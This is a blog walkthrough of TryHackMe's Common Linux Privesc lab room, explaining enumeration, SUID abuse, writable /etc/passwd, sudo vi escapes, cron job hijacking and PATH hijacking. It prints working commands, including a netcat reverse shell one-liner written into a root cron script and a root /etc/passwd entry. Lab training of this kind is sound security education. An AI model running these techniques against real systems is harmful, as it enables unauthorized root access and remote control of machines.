TryHackMe: Common Linux Privesc – Walkthrough

Hi! In this walkthrough, we cover the Common Linux Privilege Escalation room on TryHackMe. We will cover common Linux privilege escalation techniques and explain how and why they work.

Common Linux Privesc Banner
Common Linux Privesc Banner

Room URL: https://tryhackme.com/room/commonlinuxprivesc.

I am making these walkthroughs to keep myself motivated to learn cybersecurity and ensure that I remember the knowledge gained from THM’s rooms. Join me in learning cybersecurity. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.


Table of Contents


Task 1: Get connected

Nothing to do or read here but just starting up the target machine and your AttackBox or Kali Linux machine 🙂

Questions

Deploy the machine

Answer: No answer needed


Task 2: Understanding Privesc

Privilege escalation is the process of going from lower permissions to higher permissions. This is done by exploiting vulnerabilities, design flaws, or misconfigurations in applications. This process is important, as we rarely gain immediate administrator access when gaining a foothold. When we get administrator access, some of the things we can do:

  • Reset passwords
  • Bypass access controls to compromise protected data
  • Edit software configurations
  • Enable persistence, so you can access the machine again later.
  • Change privilege of users
  • Get that cheeky root flag 😉

Questions

Read the information about privilege escalation

Answer: No answer needed


Task 3: Direction of Privilege Escalation

There are two main types of privilege escalation:

  • Horizontal privilege escalation: This means you take over a user account which has the same privileges as you. An example of this is a normal user hijacking another normal user. This can be useful to inherit any files and access the other user has. This can for example be used to gain access to an SUID file which can afterwards be used to gain superuser access.
  • Vertical privilege escalation (privilege elevation): This means you take over a user account with higher privileges or access than you, from an existing account. For local privilege escalation attacks, this might mean hijacking an account with administrator privileges or root privileges.

Questions

Understand the difference between Horizontal and Vertical privilege escalation.

Answer: No answer needed


Task 4: Enumeration

We can use LinEnum (a simple shell script) to enumerate information concerning privilege escalation. It makes our life a lot easier, but of course, it is important to understand what commands LinEnum executes, so that you are able to manually enumerate privesc vulnerabilities in a situation where you’re unable to use LinEnum or other like scripts. In this room, we will explain what LinEnum outputs, and how it works behind the scenes.

You can download a local copy of LinEnum from: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

How to get LinEnum on the target machine?

There are two ways to get LinEnum on the target machine.

If you do not have the right amount of permissions to download the code to the target machine, you can instead do the following. First, you copy the raw LinEnum code from your local machine and paste it into a new file on the target. You can then save the file with the .sh extension. Then make the file executable using the command chmod +x FILENAME.sh.

LinEnum can then be run just like any bash script:

./LinEnum.sh

In case you’re unable to transport the file, you can also, if you have sufficient permissions, copy the raw LinEnum code from your local machine [1] and paste it into a new file on the target, using Vi or Nano [2]. Once you’ve done this, you can save the file with the .sh extension. Then make the file executable using the command “chmod +x FILENAME.sh”. You now have made your own executable copy of the LinEnum script on the target machine!

Understanding LinEnum Output

The LinEnum output is broken down into different sections:

Kernel: Kernel information is shown here. The kernel is a core component of an operating system and serves as the main interface between the computer’s physical hardware and the processes running on it. There is most likely a kernel exploit available for this machine.

Can we read/write sensitive files: The world-writable files are shown below. These are the files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn’t usually be able to, to be able to write to sensitive files.

SUID Files: SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. It allows the file to run with permissions of whoever the owner is. If this is root, it runs with root permissions. It can allow us to escalate privileges.

Crontab Contents: Cron is used to schedule commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here in this room.

Questions

First, let’s SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.

Just enter the following:

ssh user3@<target IP>

Answer: No answer needed

What is the target’s hostname?

This is simple enough. If you logged on, you will see it right after the user.

whoami command
whoami command

Answer: polobox

Look at the output of /etc/ passwd how many “user[x]” are there on the system?

Now it is time to get LinEnum running. Follow the following steps:

1. Download LinEnum to your attacker machine here: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

2. Host the file by entering:

python3 -m http.server 8000

3. Download the file from the SSH shell like so:

wget <attacker ip>:8000/LinEnum.sh

4. Edit the permissions:

chmod +x LinEnum.sh

5. Run it:

./LinEnum.sh

Let it run and you will see a bunch of results. At some point in the output, you can find information about the passwd file.

passwd information
passwd information

You can see that there are 8 users. Regular users have user IDs (the third column) above 1000. UID 0 is reserved for root and UIDs 1–99 are reserved for other predefined accounts. Further UID 100–999 are reserved by the system for administrative and system accounts/groups.

Answer: 8

How many available shells are there on the system?

Somewhere in all the output there is the following info:

All available shells
All available shells

There are four available shells.

Answer: 4

What is the name of the bash script that is set to run every 5 minutes by cron?

Scroll down more to find the crontab info:

Looking at the crontab
Looking at the crontab

The first script mentioned is the autoscript.sh script. It runs every 5 minutes, seen by the schedule. Read more here: https://crontab.guru/every-5-minutes

Answer: autoscript.sh

What critical file has had its permissions changed to allow some users to write to it?

Scroll down a lot more and you will find the answer:

Reading and writing sensitive files
Reading and writing sensitive files

You can see that the passwd file has “-rw-rw-r — “ meaning there are write permissions for the root group.

Answer: /etc/ passwd

Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!

Answer: No answer needed


Task 5: Abusing SUID/GUID Files

The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!

What is an SUID binary?

Everything in Linux is a file, including directories and devices, which have permissions to allow or restrict three operations i.e. read/write/execute. When we look at how maximum privileges (rwx-rwx-rwx) look you should understand the following.

The nine characters represent the settings for the three sets of permissions.

  • The first three characters show the permissions for the user who owns the file (user permissions).
  • The middle three characters show the permissions for members of the file’s group (group permissions).
  • The last three characters show the permissions for anyone not in the first two categories (other permissions).

Each three of these parts consist of a combination of the following characters:

  • r: Read permissions. The file can be opened, and its content viewed.
  • w: Write permissions. The file can be edited, modified, and deleted.
  • x: Execute permissions. If the file is a script or a program, it can be run (executed).

The maximum number of bits that can be used to set permissions for each user is 7, which is a combination of read (4) write (2) and execute (1) operation.

The following table explains it more clearly:

Chmod explained
Chmod explained. Source: https://en.wikipedia.org/wiki/Chmod

For example, if you set permissions using chmod as 755, then it will be: rwx r-x r-x.

But when special permission is given to each user it becomes SUID or SGID. When extra bit 4 is set to user(Owner) it becomes SUID (Set user ID) and when bit 2 is set to group it becomes SGID (Set Group ID).

Therefore, the permissions to look for when looking for SUID is:

SUID: rws-rwx-rwx GUID: rwx-rws-rwx

The SUID and GUID access flags are often used to allow users on a computer system to run programs with temporarily elevated privileges in order to perform a specific task.

Finding SUID Binaries

We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, we can do this manually:

find / -perm -u=s -type f 2>/dev/null

With this command we search the file system for SUID/GUID files. Let’s break down this command:

  • find — Initiates the “find” command
  • / –  Searches the whole file system
  • -perm — searches for files with specific permissions
  • -u=s — Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form.
  • -type f — Only search for files
  • 2>/dev/null — Suppresses errors

Questions

What is the path of the file in user3’s directory that stands out to you?

If we write ls -la we can see that the shell file has a special permission bit (rws):

Shell script with special permission bit
Shell script with special permission bit

Answer: /home/user3/shell

We know that “shell” is an SUID bit file, therefore running it will run the script as a root user! Let’s run it! We can do this by running: “./shell”

Running shell
Running shell

Answer: No answer needed

Congratulations! You should now have a shell as root user, well done!

We got root access!

Answer: No answer needed


Task 6: Exploiting Writeable /etc/ passwd

We found out during the enumeration with LinEnum that the /etc/ passwd file is writable for the root group with gid 0. If you looked carefully at the results you could also have been that user7 is a member of this root group. Thus, user7 should be able to edit the passwd file.

Understanding /etc/ passwd

The /etc/ passwd store user account information, and is stored as a plain text file. It contains a list of the system’s accounts, and shows for each account information like user ID, group ID, home directory, shell, and more.

The /etc/ passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/ passwd should only exist for the superuser/root account. If other users has write access this is a vulnerability.

Understanding /etc/ passwd format

As mentioned before, the /etc/ passwd file contains a list of accounts of the system. There are multiple (7) fields, which are separated by a colon (:). An example of a list element is like so:

test:x:0:0:root:/root:/bin/bash

The different fields mean the following:

  1. Username: It is used when user logs in. It should be between 1 and 32 characters in length.
  2. Password: An x character indicates that encrypted password is stored in /etc/ shadow file.
  3. User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1–99 are reserved for other predefined accounts. Further UID 100–999 are reserved by the system for administrative and system accounts/groups. UIDs above 1000 are regular users.
  4. Group ID (GID): The primary group ID (stored in /etc/group file)
  5. User ID Info: The comment field. It allows you to add extra information about the users such as user’s full name, phone number etc.
  6. Home directory: The absolute path to the directory the user will be in when they log in.
  7. Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.

How to exploit a writable /etc/ passwd

If we can edit the /etc/ passwd file, we can add a new line to the file, and thus create a new user. We can set the UID, GID and shell so that we get our very own root user.

Questions

First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user7, with the password “password”.

Simply change to user7 by running su user7 🙂

Answer: No answer needed

Having read the information above, what direction privilege escalation is this attack?

We want to add a user in the passwd with root access, so this is a vertical privilege escalation.

Answer: vertical

Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: “openssl passwd -1 -salt [salt] [password]”. What is the hash created by using this command with the salt, “new” and the password “123”?

Simply enter the following command:

openssl passwd -1 -salt new 123

Answer: $1$new$p7ptkEKU1HnaHpRtzNizS1

Great! Now we need to take this value, and create a new root user account. What would the /etc/ passwd entry look like for a root user with the username “new” and the password hash we created before?

Read the /etc/ passwd/ to see the formatting. The order is like this:

Username: Password: User ID: Group ID :User ID Info: Home directory: Command/shell
Adding a passwd entry
Adding a passwd entry

Answer: new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Great! Now you’ve got everything you need. Just add that entry to the end of the /etc/ passwd file!

Add the line and save the file!

Answer: No answer needed

Now, use “su” to login as the “new” account, and then enter the password. If you’ve done everything correctly- you should be greeted by a root prompt! Congratulations!

Enter su new, followed by entering the password (123).

Changing user to new
Changing user to new

We got root access!

Answer: No answer needed


Task 7: Sudo -l and Escaping Vi Editor

Every time you have access to an account during a CTF scenario, you should use sudo -l to list what commands you’re able to use as a super user on that account. Sometimes, like this, you’ll find that you’re able to run certain commands as a root user without the root password. This can enable you to escalate privileges.

Escaping Vi

If we run the above command on the target machine as user8, we can see that we can run Vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!

Misconfigured Binaries and GTFOBins

If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.

Questions

First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user8, with the password “password”.

Change to user8 with su user8.

Answer: No answer needed

Let’s use the “sudo -l” command, what does this user require (or not require) to run vi as root?

Run the sudo -l command.

Listing privileges
Listing privileges

Running /usr/bin/vi requires NOPASSWD, meaning we can run vi as root without having to answer a password. Very dangerous!

Answer: NOPASSWD

So, all we need to do is open vi as root, by typing “sudo vi” into the terminal.

Simply write sudo vi.

Answer: No answer needed

Now, type “:!sh” to open a shell!

Simply enter :!sh in Vi.
This will get you in a shell with root privileges!

Running Vi to get root privileges
Running Vi to get root privileges

Answer: No answer needed


Task 8: Exploiting Crontab

The Cron daemon is a process that executes commands at specific dates and times, in some ways similarly to Task Scheduler on Windows. You can use it to schedule tasks repeating at specific times, or just once. A crontab file contains the commands and instructions for the Cron daemon to execute. You can read this file (cat /etc/crontab) to see the scheduled tasks. It is always a good idea to have a look at it.

Format of a Cronjob

Cronjobs exist in a certain format:

# = ID
m = Minute
h = Hour
dom = Day of the month
mon = Month
dow = Day of the week
user = What user the command will run as
command = What command should be run

We can look at the following command as example:

# m h dom mon dow user command

17 * 1 * * * root cd / && run-parts — report /etc/cron.hourly

If you need help understanding the time part of the file, have a look here:

https://crontab.guru

How can we exploit this?

You might remember from the LinEnum scan that the autoscript.sh file on user4’s Desktop is scheduled to run every five minutes. That file is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.

Questions

First, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user4, with the password “password”

Switch the user to user4 by entering: su user4.

Answer: No answer needed

Now, on our host machine- let’s create a payload for our cron exploit using msfvenom.

Answer: No answer needed

What is the flag to specify a payload in msfvenom?

The -p flag is used to specify a payload.

Answer: -p

Create a payload using: “msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R”

Use the above command to create a payload, after adding in your attacker machine ip.

Creating a payload with msfvenom
Creating a payload with msfvenom

Answer: No answer needed

What directory is the “autoscript.sh” under?

We can find out by reading the crontab file. Enter:

 cat /etc/crontab

Alternatively you could have entered:

find / -name autoscript.sh
Reading the crontab file
Reading the crontab file

Answer: /home/user4/Desktop

Let’s replace the contents of the file with our payload using: “echo [MSFVENOM OUTPUT] > autoscript.sh”

Enter something similar to the following command (your ip will differ):

echo ‘mkfifo /tmp/mcex; nc 10.10.39.52 8888 0</tmp/mcex | /bin/sh >/tmp/mcex 2>&1; rm /tmp/mcex’ > /home/user4/Desktop/autoscript.sh

Answer: No answer needed

After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: “nc -lvnp 8888” and wait for our shell to land!

Now start up our netcat listener on your attacker machine using: nc -lvnp 8888. You have to wait max five minutes!

Starting a listener on port 8888
Starting a listener on port 8888

Answer: No answer needed

After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!

We got access! 🙂

Answer: No answer needed


Task 9: Exploiting PATH Variable

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user. It is very simple to view the Path of the relevant user with help of the command:

echo $PATH

How does this let us escalate privileges?

Let’s say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with ps.

Note: It is important to understand that ps, ls and other commands are just programs lying in the /bin directory.

Unlike in our previous SUID example, in this situation we can’t exploit it by supplying an argument for command injection, so what can we do to try and exploit this?

We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we’ve written instead! As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!

Questions

Going back to our local ssh session, not the netcat root session, you can close that now, let’s exit out of root from our previous task by typing “exit”. Then use “su” to swap to user5, with the password “password”

Switch to user5 with su user5.

Answer: No answer needed

Let’s go to user5’s home directory, and run the file “script”. What command do we think that it’s executing?

Change directory to users5’s home directory: cd /home/user5. Then run the script file by entering ./script.

Changing user to user5 and running the script
Changing user to user5 and running the script

It definitely looks like the script is listing our files and directories, so this points us to the command ls.

Answer: ls

Now we know what command to imitate, let’s change directory to “tmp”.

Simply write cd /tmp.

Answer: No answer needed

Now we’re inside tmp, let’s create an imitation executable. The format for what we want to do is: echo “[whatever command we want to run]” > [name of the executable we’re imitating]. What would the command look like to open a bash shell, writing to a file with the name of the executable we’re imitating

We need to replace the ls executable with the command to open a bash shell. We do this by echoing the path of the bash shell to a file called ls. We do it like so:

echo “/bin/bash” > ls

Answer: echo “/bin/bash” > ls

Great! Now we’ve made our imitation, we need to make it an executable. What command do we execute to do this?

We need to add the execute permission to the file. We do this by writing:

 chmod +x ls

Answer: chmod +x ls

Now, we need to change the PATH variable, so that it points to the directory where we have our imitation “ls” stored! We do this using the command “export PATH=/tmp:$PATH”

Note, this will cause you to open a bash prompt every time you use “ls”. If you need to use “ls” before you finish the exploit, use “/bin/ls” where the real “ls” executable is.

Once you’ve finished the exploit, you can exit out of root and use “export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH” to reset the PATH variable back to default, letting you use “ls” again!

Simply run:

 export PATH=/tmp:$PATH

Answer: No answer needed

Now, change directory back to user5’s home directory.

Enter:

cd /home/user5

Answer: No answer needed

Now, run the “script” file again, you should be sent into a root bash prompt! Congratulations!

Run the script file by entering: ./script.

Running the script
Running the script

We now got a root bash prompt!

Note that we ran ls before, we ran it as our current user. Therefore it did not get us real root bash access. But when we ran it through the “script” script we actually we ran it with the privileges of the owner of the script file, due to it being having a SUID bit.

Answer: No answer needed


Task 10: Expanding Your Knowledge

Below is a list of good checklists to apply to CTF or penetration test use cases.

Questions

Well done, you did it!

Answer: No answer needed


Conclusion

Well done! We are done. I hope you leared a lot from this walkthrough.
Find more of my walkthroughs here.


Like my articles?

You are welcome to comment on this article and share it with friends 🙂
I would be so grateful if you support me by buying me a cup of coffee:

Buy me a coffee
Buy me a coffee

I learned a lot through HackTheBox’s Academy. If you want to sign up, you can get extra cubes, and support me in the process, if you use the following link:

https://referral.hackthebox.com/mzwwXlg

Newsletter Updates

Enter your email address below and subscribe to our newsletter

Leave a Reply

Your email address will not be published. Required fields are marked *